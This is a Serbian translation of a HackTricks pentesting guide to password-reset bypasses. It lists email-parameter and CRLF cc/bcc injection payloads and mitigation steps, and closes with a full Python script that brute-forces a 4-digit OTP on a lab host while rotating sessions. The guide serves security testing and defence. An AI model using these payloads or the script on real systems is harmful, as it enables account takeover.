Reset/Forgotten Password Bypass

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Curčenje Tokena za Resetovanje Lozinke Putem Referrera

  • HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. To se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
  • Uticaj: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
  • Eksploatacija: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, zatražite resetovanje lozinke na vašu email adresu i kliknite na link za resetovanje koji je dostavljen. Ne menjajte svoju lozinku odmah. Umesto toga, navigirajte na veb sajt treće strane (kao što su Facebook ili Twitter) dok presrećete zahteve koristeći Burp Suite. Istražite zahteve da vidite da li referer header sadrži token za resetovanje lozinke, jer to može izložiti osetljive informacije trećim stranama.
  • Reference:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Članak o Curčenju Tokena za Resetovanje Lozinke

Trovanje Resetovanja Lozinke

  • Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zlonamerni sajt.
  • Uticaj: Dovodi do potencijalnog preuzimanja naloga curenjem reset tokena napadačima.
  • Koraci za ublažavanje:
  • Validirajte Host header u odnosu na belu listu dozvoljenih domena.
  • Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova.
  • Zakrpiti: Koristite $_SERVER['SERVER_NAME'] za konstrukciju URL-ova za resetovanje lozinke umesto $_SERVER['HTTP_HOST'].
  • Reference:
  • Acunetix Članak o Trovanju Resetovanja Lozinke

Resetovanje Lozinke Manipulacijom Email Parametra

Napadači mogu manipulisati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje.

  • Dodajte email napadača kao drugi parametar koristeći &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Dodajte email napadača kao drugi parametar koristeći %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Dodajte email napadača kao drugi parametar koristeći |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Dodajte email napadača kao drugi parametar koristeći cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Dodajte email napadača kao drugi parametar koristeći bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Dodajte email napadača kao drugi parametar koristeći ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Dodajte email napadača kao drugi parametar u json niz
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Promena email-a i lozinke bilo kog korisnika putem API parametara

  • Napadači mogu modifikovati email i lozinku u API zahtevima kako bi promenili akreditive naloga.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Nema ograničenja brzine: Email bombardovanje

  • Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja korisnika reset emailovima.
  • Koraci za ublažavanje:
  • Implementirati ograničenje brzine na osnovu IP adrese ili korisničkog naloga.
  • Koristiti CAPTCHA izazove kako bi se sprečila automatska zloupotreba.
  • Reference:
  • HackerOne izveštaj 280534

Saznajte kako se generiše token za resetovanje lozinke

  • Razumevanje obrasca ili metode iza generacije tokena može dovesti do predviđanja ili brute-forcing tokena. Neke opcije:
  • Na osnovu vremenskog pečata
  • Na osnovu UserID
  • Na osnovu emaila korisnika
  • Na osnovu imena i prezimena
  • Na osnovu datuma rođenja
  • Na osnovu kriptografije
  • Koraci za ublažavanje:
  • Koristiti jake, kriptografske metode za generaciju tokena.
  • Osigurati dovoljnu nasumičnost i dužinu kako bi se sprečila predvidljivost.
  • Alati: Koristiti Burp Sequencer za analizu nasumičnosti tokena.

Pogodna UUID

  • Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači ih mogu brute-force-ovati kako bi generisali važeće reset tokene. Proverite:

UUID Insecurities

  • Koraci za ublažavanje:
  • Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne sigurnosne mere za druge verzije.
  • Alati: Koristiti guidtool za analizu i generisanje GUID-ova.

Manipulacija odgovorom: Zamena lošeg odgovora dobrim

  • Manipulacija HTTP odgovorima kako bi se zaobišle poruke o grešci ili ograničenja.
  • Koraci za ublažavanje:
  • Implementirati provere na serverskoj strani kako bi se osigurala integritet odgovora.
  • Koristiti sigurne komunikacione kanale kao što je HTTPS kako bi se sprečili napadi "man-in-the-middle".
  • Reference:
  • Kritična greška u Live Bug Bounty događaju

Korišćenje istekao tokena

  • Testiranje da li se istekao token još uvek može koristiti za resetovanje lozinke.
  • Koraci za ublažavanje:
  • Implementirati stroge politike isteka tokena i validirati istekao token na serverskoj strani.

Brute Force token za resetovanje lozinke

  • Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla IP-bazirana ograničenja brzine.
  • Koraci za ublažavanje:
  • Implementirati robusno ograničenje brzine i mehanizme zaključavanja naloga.
  • Pratiti sumnjive aktivnosti koje ukazuju na brute-force napade.

Pokušajte koristiti svoj token

  • Testiranje da li se napadačev reset token može koristiti u kombinaciji sa emailom žrtve.
  • Koraci za ublažavanje:
  • Osigurati da su tokeni vezani za korisničku sesiju ili druge korisničke atribute.

Nevaženje sesije prilikom odjave/resetovanja lozinke

  • Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje lozinku.
  • Koraci za ublažavanje:
  • Implementirati pravilno upravljanje sesijama, osiguravajući da se sve sesije nevaže prilikom odjave ili resetovanja lozinke.

Nevaženje sesije prilikom odjave/resetovanja lozinke

  • Reset tokeni bi trebali imati vreme isteka nakon kojeg postaju nevažeći.
  • Koraci za ublažavanje:
  • Postaviti razumno vreme isteka za reset tokene i strogo ga sprovoditi na serverskoj strani.

Zaobilaženje ograničenja brzine OTP-a promenom sesije

  • Ako veb sajt koristi korisničku sesiju za praćenje pogrešnih OTP pokušaja i OTP je slab (<= 4 cifre), onda možemo efikasno brute-force-ovati OTP.
  • eksploatacija:
  • samo zatražite novi token sesije nakon što vas server blokira.
  • Primer koda koji eksploatiše ovu grešku nasumičnim pogađanjem OTP-a (kada promenite sesiju, OTP će se takođe promeniti, i tako nećemo moći sekvencijalno da ga brute-force-ujemo!):
python
# Zaobilaženje autentifikacije putem resetovanja lozinke
# od coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Počinjem napad!")
sleep(3)
print("[+] Ovo može potrajati oko 5 minuta da se završi!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nasumičan broj od 0 - 9999 sa 4 cifre
parms["s"] = 164 # nije važno, samo utiče na frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # pratiti broj pokušaja
out = requests.get(logout,headers=headers) # odjavljuje vas
mainp = requests.get(root) # dobija još jedan phpssid (token)

cookies = out.cookies # ekstraktuje sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # ažurira zaglavlja sa novom sesijom

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # šalje email za promenu lozinke
ter = 0 # resetuje ter da dobijemo novu sesiju nakon 8 pokušaja
else:
ter += 1
if(len(res.text) == 2292): # ovo je dužina stranice kada ispravno dobijete kod za oporavak (dobijeno testiranjem)
print(len(res.text)) # za debug informacije
print(phpsessid)

reset_data = { # ovde ćemo promeniti lozinku na nešto novo
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Lozinka je promenjena na:D37djkamd!")
break
except Exception as e:
print("[+] Napad je zaustavljen")

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks